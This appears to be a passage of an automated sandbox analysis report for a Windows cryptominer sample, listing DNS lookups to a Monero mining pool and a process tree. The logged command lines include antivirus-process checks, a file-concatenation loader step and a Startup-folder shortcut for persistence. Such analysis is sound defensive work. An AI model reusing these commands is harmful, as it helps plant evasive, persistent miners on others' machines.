Nov 24, 2024 20:25:03.902481079 CET	192.168.2.5	1.1.1.1	0x1f38	Standard query (0)	DqnJUgbSFuO.DqnJUgbSFuO	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:17.464598894 CET	192.168.2.5	1.1.1.1	0x1f91	Standard query (0)	DqnJUgbSFuO.DqnJUgbSFuO	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:27.060687065 CET	192.168.2.5	1.1.1.1	0x7c4b	Standard query (0)	xmr-eu2.nanopool.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 20:25:04.154067993 CET	1.1.1.1	192.168.2.5	0x1f38	Name error (3)	DqnJUgbSFuO.DqnJUgbSFuO	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:17.602181911 CET	1.1.1.1	192.168.2.5	0x1f91	Name error (3)	DqnJUgbSFuO.DqnJUgbSFuO	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:27.204521894 CET	1.1.1.1	192.168.2.5	0x7c4b	No error (0)	xmr-eu2.nanopool.org		163.172.171.111	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:27.204521894 CET	1.1.1.1	192.168.2.5	0x7c4b	No error (0)	xmr-eu2.nanopool.org		51.210.150.92	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:27.204521894 CET	1.1.1.1	192.168.2.5	0x7c4b	No error (0)	xmr-eu2.nanopool.org		51.195.138.197	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:27.204521894 CET	1.1.1.1	192.168.2.5	0x7c4b	No error (0)	xmr-eu2.nanopool.org		51.68.137.186	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:27.204521894 CET	1.1.1.1	192.168.2.5	0x7c4b	No error (0)	xmr-eu2.nanopool.org		51.15.89.13	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:27.204521894 CET	1.1.1.1	192.168.2.5	0x7c4b	No error (0)	xmr-eu2.nanopool.org		51.195.43.17	A (IP address)	IN (0x0001)	false
Nov 24, 2024 20:25:27.204521894 CET	1.1.1.1	192.168.2.5	0x7c4b	No error (0)	xmr-eu2.nanopool.org		51.15.61.114	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	14:24:56
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	4'389'991 bytes
MD5 hash:	978752B65601018DDD10636B648B8E65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	14:24:57
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	14:24:57
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	14:25:00
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x710000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	14:25:00
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xee0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	14:25:00
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x710000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	14:25:00
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xee0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	14:25:01
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 29442
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	14:25:01
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	14:25:01
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Wow64 process (32bit):	false
Commandline:	Reynolds.com l
Imagebase:	0x7ff7aa0f0000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Target ID:	11
Start time:	14:25:02
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x500000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	12
Start time:	14:25:02
Start date:	24/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & echo URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & exit
Imagebase:	0x7ff6f0af0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	13
Start time:	14:25:02
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	15
Start time:	14:25:14
Start date:	24/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js"
Imagebase:	0x7ff668b00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	14:25:15
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr" "C:\Users\user\AppData\Local\CyberSphere Dynamics\M"
Imagebase:	0x7ff752000000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Target ID:	17
Start time:	14:25:20
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Imagebase:	0x7ff7aa0f0000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	14:25:25
Start date:	24/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000012.00000002.3264299114.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	19
Start time:	14:25:25
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	20
Start time:	14:25:34
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr"
Imagebase:	0x7ff752000000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	14:25:36
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr"
Imagebase:	0x7ff752000000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	23
Start time:	14:25:42
Start date:	24/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000017.00000002.2486993892.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000017.00000002.2487104363.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Target ID:	24
Start time:	14:25:43
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true